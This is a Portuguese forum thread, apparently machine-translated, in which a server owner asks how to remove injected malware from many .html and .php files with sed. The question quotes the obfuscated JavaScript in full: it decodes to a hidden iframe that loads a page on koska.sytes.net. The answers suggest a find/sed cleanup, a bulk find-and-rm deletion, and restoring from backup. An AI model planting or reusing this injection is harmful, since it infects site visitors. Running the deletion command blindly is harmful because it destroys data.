Como posso remover códigos de malware em vários arquivos com sed?

2

Eu tenho esse código de malware em tantos arquivos .html e .php no servidor. Preciso removê-los usando

  • sed -i expression
  • pesquisar todos os arquivos no diretório /home/
  • encontrar arquivos infectados
  • remova o código, substituindo-o por um espaço em branco

    var usikwseoomg = 'PaBUTyjaZYg3cPaBUTyjaZYg69PaBUTyjaZYg66'; var nimbchnzujc = 'PaBUTyjaZYg72'; var szwtgmqzekr = 'PaBUTyjaZYg61PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg20PaBUTyjaZYg6ePaBUTyjaZYg61PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg3dPaBUTyjaZYg22'; var yvofadunjkv = 'PaBUTyjaZYg6dPaBUTyjaZYg67PaBUTyjaZYg79PaBUTyjaZYg65PaBUTyjaZYg64PaBUTyjaZYg61PaBUTyjaZYg67PaBUTyjaZYg70PaBUTyjaZYg7aPaBUTyjaZYg63PaBUTyjaZYg76'; var ylydzxyjaci = 'PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg77PaBUTyjaZYg69PaBUTyjaZYg64PaBUTyjaZYg74PaBUTyjaZYg68PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg31PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg68PaBUTyjaZYg65PaBUTyjaZYg69PaBUTyjaZYg67PaBUTyjaZYg68PaBUTyjaZYg74PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg30PaBUTyjaZYg22'; var xwojmnoxfbs = 'PaBUTyjaZYg20PaBUTyjaZYg73PaBUTyjaZYg72PaBUTyjaZYg63PaBUTyjaZYg3dPaBUTyjaZYg22'; var mgsybgilcfx = 'PaBUTyjaZYg68PaBUTyjaZYg74PaBUTyjaZYg74PaBUTyjaZYg70PaBUTyjaZYg3aPaBUTyjaZYg2fPaBUTyjaZYg2f'; var nixyhgyjouf = 'koska.sytes.net/phl/logs/index.php';var nesrtqwuirb = 'PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg6dPaBUTyjaZYg61PaBUTyjaZYg72PaBUTyjaZYg67PaBUTyjaZYg69PaBUTyjaZYg6ePaBUTyjaZYg77PaBUTyjaZYg69PaBUTyjaZYg64PaBUTyjaZYg74PaBUTyjaZYg68PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg31PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg6dPaBUTyjaZYg61PaBUTyjaZYg72PaBUTyjaZYg67PaBUTyjaZYg69PaBUTyjaZYg6ePaBUTyjaZYg68PaBUTyjaZYg65PaBUTyjaZYg69PaBUTyjaZYg67PaBUTyjaZYg68PaBUTyjaZYg74PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg30PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg74PaBUTyjaZYg69PaBUTyjaZYg74PaBUTyjaZYg6cPaBUTyjaZYg65PaBUTyjaZYg3dPaBUTyjaZYg22'; var rqchyojemkn = 'PaBUTyjaZYg6dPaBUTyjaZYg67PaBUTyjaZYg79PaBUTyjaZYg65PaBUTyjaZYg64PaBUTyjaZYg61PaBUTyjaZYg67PaBUTyjaZYg70PaBUTyjaZYg7aPaBUTyjaZYg63PaBUTyjaZYg76'; var niupgeebkhf = 'PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg73PaBUTyjaZYg63PaBUTyjaZYg72PaBUTyjaZYg6fPaBUTyjaZYg6cPaBUTyjaZYg6cPaBUTyjaZYg69PaBUTyjaZYg6ePaBUTyjaZYg67PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg6ePaBUTyjaZYg6fPaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg62PaBUTyjaZYg6fPaBUTyjaZYg72PaBUTyja ZYg64PaBUTyjaZYg65PaBUTyjaZYg72PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg30PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg66PaBUTyjaZYg72PaBUTyjaZYg61PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg62PaBUTyjaZYg6fPaBUTyjaZYg72PaBUTyjaZYg64PaBUTyjaZYg65PaBUTyjaZYg72PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg30PaBUTyjaZYg22PaBUTyjaZYg3e '; var yyzsvtbnudd = 'PaBUTyjaZYg3cPaBUTyjaZYg2fPaBUTyjaZYg69PaBUTyjaZYg66'; var tlclvgxfthn = 'PaBUTyjaZYg72PaBUTyjaZYg61'; var zxttbudjafh = 'PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg3e'; var yydszqnduko = new Array (); yydszqnduko [0] = new Array (usikwseoomg + nimbchnzujc + szwtgmqzekr + yvofadunjkv + ylydzxyjaci + xwojmnoxfbs + mgsybgilcfx + nixyhgyjouf + nesrtqwuirb + rqchyojemkn + niupgeebkhf + yyzsvtbnudd + tlclvgxfthn + zxttbudjafh); documento [ 'PaBUTyjaZYgwPaBUTyjaZYgrPaBUTyjaZYgiPaBUTyjaZYgtPaBUTyjaZYgePaBUTyjaZYg'.replace (/ PaBUTyjaZYg / g,' ')] (janela [' PaBUTyjaZYguPaBUTyjaZYgnPaBUTyjaZYgePaBUTyjaZYgsPaBUTyjaZYgcPaBUTyjaZYgaPaBUTyjaZYgpPaBUTyjaZYgePaBUTyjaZYg'.replace (/ PaBUTyjaZYg / g, '')] (yydszqnduko.toString (). replace (/ Pa BUTyjaZYg / g, '%')));
por user47556 05.07.2010 / 11:53

2 respostas

4

Acho que isso pode ser feito:

find /home \( -name "*.html" -o -name "*.php" \) -exec sed -i.bak 's/<script.*PaBUTyjaZYg.*script>//g' \{\} \;

Do comentário "para deletar todos os arquivos tem números em seu nome e extensão .php"

find /home -name "*[0-9]*.php" -exec rm \{\} \;

Mas primeiro, execute-o com echo em vez de rm, para garantir que você não exclua algo que não deseja excluir.

    
por 05.07.2010 / 12:13
12

Eu diria que uma solução muito melhor / mais segura seria restaurar esses arquivos de um backup limpo.

    
por 05.07.2010 / 12:10

Tags